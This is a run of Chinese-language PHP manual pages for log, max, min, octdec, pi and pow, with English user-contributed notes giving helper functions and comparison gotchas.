  • ? log1p
  • max ?
  • PHP Manual
  • Math 函数
  • 自然对数

log

(PHP 4, PHP 5, PHP 7, PHP 8)

log — 自然对数

说明

log(float $num, float $base = M_E): float

如果指定了可选的参数 base，log() 返回 logbase num，否则 log() 返回参数 num 的自然对数。

参数

num

要计算对数的值

base

可选的底数（默认是"e"，也可以说是自然对数）。

返回值

以 base 为底 num 的对数，如果未指定 num 则为自然对数。

参见

  • log10() - 以 10 为底的对数
  • exp() - 计算 e 的指数
  • pow() - 指数表达式
  • error_log() - 发送错误信息到某个地方

User Contributed Notes

rhinopete at batpudding dot com 05-Nov-2018 01:28
Seems like unit prefixes should have a standard PHP function.  Maybe in the future.

I found this page while looking for a quick unit prefix function.  The one by  olafurw was voted down, I think because it had unchecked array indexes and /0s.  So here it is fixed and readable.

-Should work down to PHP 4.
-Not meant for fractions or negatives, so anything less than 1 returns 0.
-Not very effective on really really large numbers, but it's easy to add more prefixes.
-Doesn't handle non numeric arguments. PHP 7+ can do this: function binaryprefix( int $units, $unit = '' )

// returns reduced $units with a binary prefix
// ex. ( 110974120, 'B' ) == 105.8MiB
// ex. ( 2^100, 'B' ) == 1048576.0YiB
// ex. ( 0.12314, 'B' ) == 0B
function binaryprefix( $units, $unit = '' )
{
    $prefix = array('', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi', 'Yi');
    $exponent = min( floor( log( max( 1, $units ), 1024 ) ), count( $prefix ) - 1 );

    if ( $units < 1024 )
        return sprintf( '%d%s%s', max( 1, $units + 1 ) - 1, $prefix[$exponent], $unit );
    else
        return sprintf( '%.1f%s%s', $units / pow(1024, $exponent), $prefix[$exponent], $unit );
}

https://en.wikipedia.org/wiki/Binary_prefix#Adoption_by_IEC.2C_NIST_and_ISO

Also more colloquially:
    $prefix = array('', 'k', 'm', 'g', 't', 'p', 'e', 'z', 'y');
ClaudiuS 21-Feb-2013 07:34
If you just need to check if N is a perfect power of Base, log() is SLOW compared to a WHILE construct that will be 2x faster!

Tested on range: 1 ... 20.000.000 => while() is 2.105 times faster

<?php

$number='fill in your number here'
$base='fill in requested base here';

//use when the power is needed
$pow=0;do { $number/=$base;$pow++; } while ($number>1);
if ($number==1) print $base.'^'.$pow;
else print 'False';

//use when just a check is needed
do $number/=$base; while ($number>1);
if ($number==1) print 'True';
else print 'False';
?>
olafurw [at] gmail.com 04-Nov-2008 04:56
For those interested. Works with older than 4.3 versions.

<?php
    function byteConvert($bytes)
    {
        $s = array('B', 'Kb', 'MB', 'GB', 'TB', 'PB');
        $e = floor(log($bytes)/log(1024));

        return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));
    }
?>
dingus_76 at hotmail dot com 15-May-2008 07:41
well i been pulling my hair out trying to get log to work with big numbers and i ended up writing a bclog function so to save everyone else the stress here it is

<?php
function bclog($X,$base=10,$decimalplace=12){
    $integer_value=0;
    while($X < 1){
        $integer_value = $integer_value - 1 ;
        $X = bcmul($X , base);
    }
    while($X >= $base){
        $integer_value = $integer_value + 1;
        $X = bcdiv($X , $base );
    }
    $decimal_fraction = 0.0;
    $partial = 1.0;
    # Replace X with X to the 10th power
    $X = bcpow($X , 10);
    while($decimalplace > 0){
        $partial = bcdiv($partial , 10);
        $digit=0;
        while($X >= $base){
              $digit = $digit + 1;
              $X = bcdiv($X , $base);
        }
        $decimal_fraction = bcadd($decimal_fraction , bcmul($digit , $partial));
        # Replace X with X to the 10th power
        $X = bcpow($X , 10);
        $decimalplace = $decimalplace - 1 ;
    }
    return $integer_value + $decimal_fraction ;
}
?>
Ulf Wostner 06-Aug-2006 05:56
<?php

#--------------------------------------------------------
#     How many digits does an integer have?
#--------------------------------------------------------

function digit_count($n, $base=10) {

  if($n == 0) return 1;

  if($base == 10) {
    # using the built-in log10(x)
    # might be more accurate than log(x)/log(10).
    return 1 + floor(log10(abs($n)));
  }else{
    # here  logB(x) = log(x)/log(B) will have to do.
   return 1 + floor(log(abs($n))/ log($base));
  }
}

# Example:  How many decimal digits for 2 to the power 24?
echo digit_count(pow(2, 24));

# Example: How many bits to write 1 billion in binary, last century?

if($country_code  == 'US') echo digit_count(pow(10, 9), 2);
if($country_code == 'UK') echo digit_count(pow(10, 12), 2);

#--------------------------------------------------------
#     Using log to format columns.
#--------------------------------------------------------

# Suppose we have a dynamically generated list of integers,
# and want to present them as a table. The use of log10 in
# our digit_count helps calculate the proper format string.

function print_list_of_ints($ints, $line_width=40) {

  # Apply our digit_count to the max int among ints.
  $field_width = 2 + digit_count(max($ints));

  # Create format string for printf.
  $format = "%${field_width}d";

  $ints_per_line = floor($line_width/$field_width);

  $border = str_repeat("-", $ints_per_line * $field_width);

  echo "\n$border\n";

  foreach($ints as $count => $int) {
    if( $count and ($count % $ints_per_line == 0)) echo "\n";
    printf($format, $int);
  }

  echo "\n$border\n";
}

# To generate an example, here is a basic function
# returning a list of (pseudo) random numbers.

function rands($how_many) {
  for($i=0; $i < $how_many; $i++) $rands[] = rand();
  return $rands;
}

# Example:  A list of random ints dynamically formatted into columns.

print_list_of_ints(rands(11));

/* Sample output. Numbers and fonts vary. Visualize monospace!

------------------------------------
  1093146637   244503173  1346204527
   638304372   140216732  1054707210
   573915416  1728677954  2038899669
   534854768    12674586
------------------------------------

*/

?>
mcmeijer at yahoo dot com 03-Feb-2005 07:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru 19-Sep-2004 03:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
    $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
    $p = min(max(floor(log(abs($value), $base)), -6), 6);
    return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk 20-Jun-2004 01:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.


找出最大值

  • ? log
  • min ?
  • PHP Manual
  • Math 函数
  • 找出最大值

max

(PHP 4, PHP 5, PHP 7, PHP 8)

max — 找出最大值

说明

max(mixed $value, mixed ...$values): mixed

替代签名（不支持命名参数）：

max(array $value_array): mixed

如果仅有一个参数且为数组，max() 返回该数组中最大的值。如果第一个参数是整数、字符串或浮点数，则至少需要两个参数而 max() 会返回这些值中最大的一个。可以比较无限多个值。

Note:

不同类型的值将使用标准比较规则进行比较。例如，一个非数字 string 与 int 比较时就当做是 0，但多个非数字 string 值将会按照字母数字比较。返回的实际值是未应用任何转换的原始类型。

Caution

传递不同类型的参数时要小心，因为 max() 会产生不可预测的结果。

参数

value

任何可比较的值。

values

任何可比较的值。

value_array

包含值的数组。

返回值

max() 根据标准比较返回认为是"最大"的参数值。如果不同类型的多个值认为相等（比如 0 与 'abc'），则将会返回提供给函数的第一个值。

错误／异常

如果传递空数组，max() 抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | max() 现在失败时会抛出 ValueError；之前会返回 false 并发出 E_WARNING 错误。
8.0.0 | 由于 字符串到数字的比较 已经改变，max() 在这些情况下不再根据参数的顺序返回不同的值。

示例

Example #1 使用 max() 的示例

<?php
echo max(2, 3, 1, 6, 7); // 7
echo max(array(2, 4, 5)); // 5

// Here we are comparing -1 < 0, so 'hello' is the highest value
echo max('hello', -1); // hello

// With multiple arrays of different lengths, max returns the longest
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(1, 1, 1, 1)

// Multiple arrays of the same length are compared from left to right
// so in our example: 2 == 2, but 5 > 4
$val = max(array(2, 4, 8), array(2, 5, 1)); // array(2, 5, 1)

// 如果同时给出数组和非数组，则绝对不会返回数组
// 因为比较认为数组大于任何值
$val = max('string', array(2, 5, 7), 42); // array(2, 5, 7)

// If one argument is NULL or a boolean, it will be compared against
// other values using the rule FALSE < TRUE regardless of the other types involved
// In the below example, -10 is treated as TRUE in the comparison
$val = max(-10, FALSE); // -10

// 0, on the other hand, is treated as FALSE, so is "lower than" TRUE
$val = max(0, TRUE); // TRUE
?>

参见

  • min() - 找出最小值
  • count() - 统计数组、Countable 对象中所有元素的数量

User Contributed Notes

Samu 12-Oct-2023 07:28
With modern PHP versions supporting the array spread operator for function arguments, it's tempting to call max() like this:

<?php
function stuff(): iterable {
    // This function might yield 0, 1 or n values.
}

$foo = max(...stuff());
?>

However, this is dangerous if you cannot guarantee that your generator yields **minimum** two values.

The gotcha here is that when max() receives a single argument, it must be an array of values. (When the generator doesn't yield any values, max() will throw an ArgumentCountError.)

If you can guarantee that your generator yields at least one value, then it's safe to call max by relying on the aforementioned array expectation:

<?php
function stuff(): iterable {
    // This function will yield 1...n values.
}

// Note that here the generator is first read into an array.
$foo = max([...stuff()]);
?>

If the array is empty, max() will throw a ValueError.

The added burden is that faulty code could appear to appear to function just fine but fails at random, probably causing a lot of head-scratching at first.
deoomen 22-Jun-2022 10:57
Watch out after PHP 8.0!

Sample code:

<?php
echo max(0,'hello');
?>

Before PHP 8.0 will return int(0) but since PHP 8.0 above code returns string("hello")!!
chris at candm dt org dt uk 03-Jul-2021 03:36
A function to return the key of the max value of an array. For multiple max values, it will return the key of first. Change > to >= to get the last.

function array_max_key($arr) {
    $maxkey='';
    $maxval=false;
    array_walk($arr,
        function (&$cval,&$ckey) use(&$maxkey,&$maxval) {
            if ($maxval === false || $cval > $maxval) {
                $maxval = $cval;
                $maxkey = $ckey;
            }
        }
    );
    return $maxkey;
}
blackmac01 at gmail dot com 07-Oct-2019 08:01
In response to: keith at bifugi dot com

If you want to find the specific key(s) that match the maximum value in an array where the values may be duplicated, you can loop through and perform a simple check:
<?php

# Example Array
$a = array(
     'key1' => 100,
     'key2' => 90,
     'key3' => 100,
     'key4' => 90,
);

# First get the maximum value
$max = max($a);

# Create a new array containing all keys which have the max value
foreach($a as $key => $val) {
     if($val === $max) $b[] = $key;
}

# If you want a string list, just do this
$b = implode(' ', $b);
?>

This produces consistent results and will scale well in terms of performance, whereas functions like array_search and array_flip can lead to degraded performance when dealing with large amounts of data.
Michael Blinn 07-Mar-2019 03:29
Be careful using max() with objects, as it returns a reference not a new object.

<?php

$min_date = date_create('2019-03-05');
$max_date = date_create('2019-03-06');

$date_by_reference = max($min_date, $max_date);

// $date_by_reference and $max_date are now the same object

echo '$max_date is ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-06'
echo '$date_by_reference is ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-06'

date_add($date_by_reference, date_interval_create_from_date_string('1 days')); // Add 1 day to $date_by_reference, changes $max_date too

echo '$max_date is changed ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-07'
echo '$date_by_reference is changed ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-07'

?>
info at osworx dot net 18-Jan-2019 10:37
Be aware if a array like this is used (e.g. values from a shopping cart):
<?php
Array
(
    [0] => 142,80
    [1] => 39,27
    [2] => 22,80
    [3] => 175,80
)?>
The result will be: 39,27 and not - as expected - 175,80

So, to find the max value, use integer only like:
<?php
Array
(
    [0] => 14280
    [1] => 3927
    [2] => 2280
    [3] => 17580
)?>
and you will get the correct result: 17580
keith at bifugi dot com 11-Jul-2016 04:36
The simplest way to get around the fact that max() won't give the key is array_search:

<?php
$student_grades = array ("john" => 100, "sarah" => 90, "anne" => 100);
$top_student = array_search(max($student_grades),$student_grades); // john
?>

This could also be done with array_flip, though overwriting will mean that it gets the last max value rather than the first:

<?php
$grades_index = array_flip($student_grades);
$top_student = $grades_index[max($student_grades)]; // anne
?>

To get all the max value keys:

<?php
$top_students = array_keys($student_grades,max($student_grades)); // john, anne
?>
ReVo_ 12-Jun-2014 03:28
Sometimes you could need to get the max from an array which looks like this:

<?php
$arrTest = array(
    array( "day" => 1, "b" => 10 ),
    array( "day" => 2, "b" => 43 ),
    array( "day" => 3, "b" => 2 ),
    array( "day" => 4, "b" => -3 ),
    array( "day" => 5, "b" => 4 ),
    array( "day" => 6, "b" => -5 )
);
?>
all max functions i see around don't provide a way to get the max value of the values in (example) key "b"

<?php
function maxValueInArray($array, $keyToSearch)
{
    $currentMax = NULL;
    foreach($array as $arr)
    {
        foreach($arr as $key => $value)
        {
            if ($key == $keyToSearch && ($value >= $currentMax))
            {
                $currentMax = $value;
            }
        }
    }

    return $currentMax;
}

//                                            array       key
$value = maxValueInArray($arrTest, "b");

?>

output: 43
volch5 at gmail dot com 07-May-2014 04:07
max() (and min()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
levim at php dot net 22-Aug-2012 05:18
<?php
/**
 * @param array $array
 *
 * @return int|null Returns the largest value of the array. Returns NULL if no
 *     integers are found.
 */
function array_max_recursive(array $array) {
    $max = NULL;
    $stack = array($array);

    do {
        $current = array_pop($stack );
        foreach ($current as $value) {
            if (is_array($value)) {
                $stack[] = $value;
            } elseif (filter_var($value, FILTER_VALIDATE_INT) !== FALSE) {
                // max(NULL, 0) returns NULL, so cast it
                $max = (int) max($max, $value);
            }
        }

    } while (!empty($stack));

    return $max;
}
?>

 - This function is not actually recursive, but fulfills the requirement that it works on sub-arrays.  I do this because PHP is not very good at recursion.  I also did it because I enjoy doing things this way.
 - It returns something of type int, never a string representation of an int. The exception is when you provide an array that does not contain any integers.  It will then return NULL.
 - It ignores non-array, non-int values.
toon dot baeyens at gmail dot com 07-May-2012 06:42
A little function for multi-dimensional arrays:
<?php
function amax($array){
    if(is_array($array)){
        foreach($array as $key => $value){
            $array[$key] = amax($value);
        }
        return max($array);
    }else{
        return $array;
    }
}
?>
costinu 02-Feb-2012 06:21
max(null, 0) = null
max(0, null) = 0
sun at drupal dot org 03-Aug-2011 11:25
Note that max() throws a warning if the array is empty:

<?php
$a = array();
max($a);
// Warning: max(): Array must contain at least one element
?>

So make sure your data isn't empty.
php at rijkvanwel dot nl 12-Apr-2011 02:08
To get the largest key in an array:

<?php
$array = array( 0 => 'first', 1=> 'second', /* ... */ 99 => 'nth' );
$max_key = max( array_keys( $array ) ); // 99
?>
Alex Rath 10-Apr-2010 11:27
Notice that whenever there is a Number in front of the String, it will be used for Comparison.

<?php

  max('7iuwmssuxue', 1); //returns 7iuwmssuxu
  max('-7suidha', -4); //returns -4

?>

But just if it is in front of the String

<?php

  max('sdihatewin7wduiw', 3); //returns 3

?>
marcini 11-May-2009 07:34
Note that max() can compare dates, so if you write something like this:

<?php
$dates = array('2009-02-15', '2009-03-15');
echo max($dates);
?>

you will get: 2009-03-15.
ries at vantwisk dot nl 09-Nov-2008 06:36
I had several occasions that using max is a lot slower then using a if/then/else construct. Be sure to check this in your routines!

Ries
harmor 21-Feb-2008 09:56
A way to bound a integer between two values is:

<?php
function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}
?>

which is the same as:

<?php
$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;
?>

So if you wanted to bound an integer between 1 and 12 for example:

Input:
<?php
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';
?>

Output:
1
1
6
12
12
michaelangel0 at mail.com 04-Jul-2007 03:00
Matlab users and others may feel lonely without the double argument output from min and max functions.

To have the INDEX of the highest value in an array, as well as the value itself, use the following, or a derivative:

<?php
function doublemax($mylist){
  $maxvalue=max($mylist);
  while(list($key,$value)=each($mylist)){
    if($value==$maxvalue)$maxindex=$key;
  }
  return array("m"=>$maxvalue,"i"=>$maxindex);
}
?>
johnphayes at gmail dot com 02-May-2006 09:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true


找出最小值

  • ? max
  • octdec ?
  • PHP Manual
  • Math 函数
  • 找出最小值

min

(PHP 4, PHP 5, PHP 7, PHP 8)

min — 找出最小值

说明

min(mixed $value, mixed ...$values): mixed

替代签名（不支持命名参数）：

min(array $value_array): mixed

如果仅有一个参数且为数组，min() 返回该数组中最小的值。如果给出了两个或更多参数, min() 会返回这些值中最小的一个。

Note:

不同类型的值将使用标准比较规则进行比较。例如，一个非数字 string 与 int 比较时就当做是 0，但多个非数字 string 值将会按照字母数字比较。返回的实际值是未应用任何转换的原始类型。

Caution

传递不同类型的参数时要小心，因为 min() 会产生不可预测的结果。

参数

value

任何可比较的值。

values

任何可比较的值。

value_array

包含值的数组。

返回值

max() 根据标准比较返回认为是"最小"的参数值。如果不同类型的多个值认为相等（比如 0 与 'abc'），则将会返回提供给函数的第一个值。

错误／异常

如果传递空数组，max() 抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | min() 现在失败时会抛出 ValueError；之前会返回 false 并发出 E_WARNING 错误。
8.0.0 | 由于 字符串到数字的比较 已经改变，min() 在这些情况下不再根据参数的顺序返回不同的值。

示例

Example #1 min() 用法的示例

<?php
echo min(2, 3, 1, 6, 7); // 1
echo min(array(2, 4, 5)); // 2

// Here we are comparing -1 < 0, so -1 is the lowest value
echo min('hello', -1); // -1

// With multiple arrays of different lengths, min returns the shortest
$val = min(array(2, 2, 2), array(1, 1, 1, 1)); // array(2, 2, 2)

// Multiple arrays of the same length are compared from left to right
// so in our example: 2 == 2, but 4 < 5
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// 如果同时给出数组和非数组，则绝对不会返回数组
// 因为比较认为数组大于任何值
$val = min('string', array(2, 5, 7), 42); // string

// If one argument is NULL or a boolean, it will be compared against
// other values using the rules FALSE < TRUE and NULL == FALSE regardless of the
// other types involved
// In the below examples, both -10 and 10 are treated as TRUE in the comparison
$val = min(-10, FALSE, 10); // FALSE
$val = min(-10, NULL, 10); // NULL

// 0, on the other hand, is treated as FALSE, so is "lower than" TRUE
$val = min(0, TRUE); // 0
?>

参见

  • max() - 找出最大值
  • count() - 统计数组、Countable 对象中所有元素的数量

User Contributed Notes

8ilO 19-Apr-2017 03:21
A min_by function:
<?php
function min_by(Array $arr, Callable $func){
    $mapped = array_map($func, $arr);
    return $arr[array_search(min($mapped), $mapped)];
}
$a = ["albatross",  "dog",  "horse"];
echo min_by($a, "strlen"); // dog
?>
volch5 at gmail dot com 07-May-2014 04:10
min() (and max()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
Teelevision 13-Oct-2013 04:09
A function that returns the lowest integer that is not 0.
<?php
/* like min(), but casts to int and ignores 0 */
function min_not_null(Array $values) {
    return min(array_diff(array_map('intval', $values), array(0)));
}
?>
hava82 at gmail dot com 26-Sep-2011 12:35
Here is function can find min by array key

<?php
function min_by_key($arr, $key){
    $min = array();
    foreach ($arr as $val) {
        if (!isset($val[$key]) and is_array($val)) {
            $min2 = min_by_key($val, $key);
            $min[$min2] = 1;
        } elseif (!isset($val[$key]) and !is_array($val)) {
            return false;
        } elseif (isset($val[$key])) {
            $min[$val[$key]] = 1;
        }
    }
    return min( array_keys($min) );
}
?>
php at keith tyler dot com 23-Nov-2010 01:03
If NAN is the first argument to min(), the second argument will always be returned.

If NAN is the second argument, NAN will always be returned.

The relationship is the same but inverted for max().

<?php
// \n's skipped for brevity
print max(0,NAN);
print max(NAN,0);
print min(0,NAN);
print min(NAN,0);
?>

Returns:
0
NAN
NAN
0
matt at borjawebs dot com 13-Nov-2010 01:18
A condensed version (and possible application) of returning an array of array keys containing the same minimum value:

<?php
// data
$min_keys = array();
$player_score_totals = array(
'player1' => 300,
'player2' => 301,
'player3' => 302,
'player4' => 301,
...
);

// search for array keys with min() value
foreach($player_score_totals as $playerid => $score)
    if($score == min($player_score_totals)) array_push($min_keys, $playerid);

print_r($min_keys);
?>
Err 05-Oct-2009 04:32
When using a variable with an array that has a list of numbers, put just the variable in min(). Don't use integer index's. Seems pretty straight forward now, but I wasn't used to just putting down the variable for an array in functions.

<?php
  $list = array(9,5,4,6,2,7);
  echo min($list); // display 2
?>
DO 03-Jul-2008 03:23
I've modified the bugfree min-version to ignore NULL values (else it returns 0).

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args[0])) return false;
  else {
    $min = false;
    foreach ($args[0] AS $value) {
      if (is_numeric($value)) {
        $curval = floatval($value);
        if ($curval < $min || $min === false) $min = $curval;
      }
    }
  }

  return $min;
}
?>
harmor 21-Feb-2008 09:58
A way to bound a integer between two values is:

function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}

which is the same as:

$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;

So if you wanted to bound an integer between 1 and 12 for example:

Input:
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';

Output:
1
1
6
12
12
piotr_sobolewski at o2 dot nospampleasenono dot pl 07-Nov-2007 08:11
Be very careful when your array contains both strings and numbers. This code works strange (even though explainable) way:
var_dump(max('25.1.1', '222', '99'));
var_dump(max('2.1.1', '222', '99'));
dave at dtracorp dot com 13-Aug-2006 08:30
empty strings '' will also return false or 0, so if you have something like

$test = array('', 1, 5, 8, 44, 22);

'' will be returned as the lowest value

if you only want to get the lowest number, you'll have to resort to the old fashioned loop

// default minimum value
$minVal = 100;
foreach ($test as $value) {
if (is_numeric($value) && $value < $minVal) {
$minVal = $value;
}
johnphayes at gmail dot com 02-May-2006 09:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com 16-Mar-2006 02:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
31-Jan-2006 09:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
alx5000 at walla dot com 12-Jan-2005 05:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org 24-Jan-2004 07:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

    $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

    $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you 16-Dec-2003 02:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);


八进制转换为十进制

  • ? min
  • pi ?
  • PHP Manual
  • Math 函数
  • 八进制转换为十进制

octdec

(PHP 4, PHP 5, PHP 7, PHP 8)

octdec — 八进制转换为十进制

说明

octdec(string $octal_string): int|float

返回 octal_string 参数所表示的八进制数的十进制等值。octal_string 中的任何无效字符都会默认忽略。自 PHP 7.4.0 起，弃用使用任何无效字符。

参数

octal_string

要转换的八进制的字符串。

返回值

octal_string 的十进制的表示

更新日志

版本 | 说明
7.4.0 | 传递任何无效字符现在将生成弃用通知。但仍会计算结果，就好像无效字符不存在一样。

示例

Example #1 octdec() 示例

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

以上示例会输出：

63
45

注释

Note:

此函数可以将太大的数字转换为适应平台的 int 类型，在这种情况下，较大值将会作为 float 返回。

参见

  • decoct() - 十进制转换为八进制
  • bindec() - 二进制转换为十进制
  • hexdec() - 十六进制转换为十进制
  • base_convert() - 在任意进制之间转换数字

User Contributed Notes

contato at andersonfraga dot net 18-Aug-2008 01:30
Number is octal?

Simple and easy:

<?php

function is_octal($x) {
    return decoct(octdec($x)) == $x;
}

echo is_octal(077); // true
echo is_octal(195); // false

?>

Thanks
[]'s
harry at disgruntledgoat dot com 27-Mar-2007 03:03
Calling the sticky bit "text" is not erroneous: On UNIX back in 1974, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeded subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory.
11-Sep-2002 01:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).


得到圆周率值

  • ? octdec
  • pow ?
  • PHP Manual
  • Math 函数
  • 得到圆周率值

pi

(PHP 4, PHP 5, PHP 7, PHP 8)

pi — 得到圆周率值

说明

pi(): float

返回圆周率的近似值。也可以使用 M_PI 常量，该常量产生与 pi() 完全相同的结果。

参数

此函数没有参数。

返回值

圆周率（pi）的浮点近似值。

示例

Example #1 pi() 示例

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

User Contributed Notes

davidduke at hotmail dot com 27-Mar-2004 06:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)


指数表达式

  • ? pi
  • rad2deg ?
  • PHP Manual
  • Math 函数
  • 指数表达式

pow

(PHP 4, PHP 5, PHP 7, PHP 8)

pow — 指数表达式

说明

pow(mixed $num, mixed $exponent): int|float|object

返回 num 的 exponent 次方的幂。

Note:

可以使用 ** 运算符代替。

参数

num

底数

exponent

指数

返回值

num 的 exponent 次方。如果两个参数都是非负整数且结果可以用整数表示，则返回 int 类型，否则返回 float。

示例

Example #1 pow() 的一些示例

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1
echo pow(10, -1); // 0.1

echo pow(-1, 5.5); // NAN
?>

注释

Note:

本函数会转换所有输入为数字，甚至是非标量值，将会导致怪异的结果。

参见

  • exp() - 计算 e 的指数
  • sqrt() - 平方根
  • bcpow() - 任意精度数字的乘方
  • gmp_pow() - Raise number into power

User Contributed Notes

Roman 15-Dec-2020 04:15
If you use negative numbers, you need to use brackets for using with **

<?php

-1 ** 2; // -1

(-1) ** 2; // 1

?>
jaxx1rr at gmail dot com 29-Sep-2019 02:25
funny thing

number_format(pow(2, 1023));
gives a long number

but number_format(pow(2, 1024));
gives inf
raiika 03-Oct-2018 05:28
It is official now that you could use

<?php

2 ** 3; // 8

// instead of

pow(2, 3); // 8

?>
scott at arciszewski dot me 14-Feb-2014 03:24
As of PHP 5.6.0alpha2, there is now an exponentiation operator. If this is kept in the final release, it may be worth noting here.

<?php
// These two will be equivalent as of PHP 5.6.0
$x = $y ** 2;
$x = pow($y, 2);
?>
chris at ocportal dot com 21-May-2012 04:05
Many notations use "^" as a power operator, but in PHP (and other C-based languages) that is actually the XOR operator. You need to use this 'pow' function, there is no power operator.

i.e. 3^2 means "3 XOR 2" not "3 squared".

It is particular confusing as when doing Pythagoras theorem in a 'closet points' algorithm using "^" you get results that look vaguely correct but with an error.
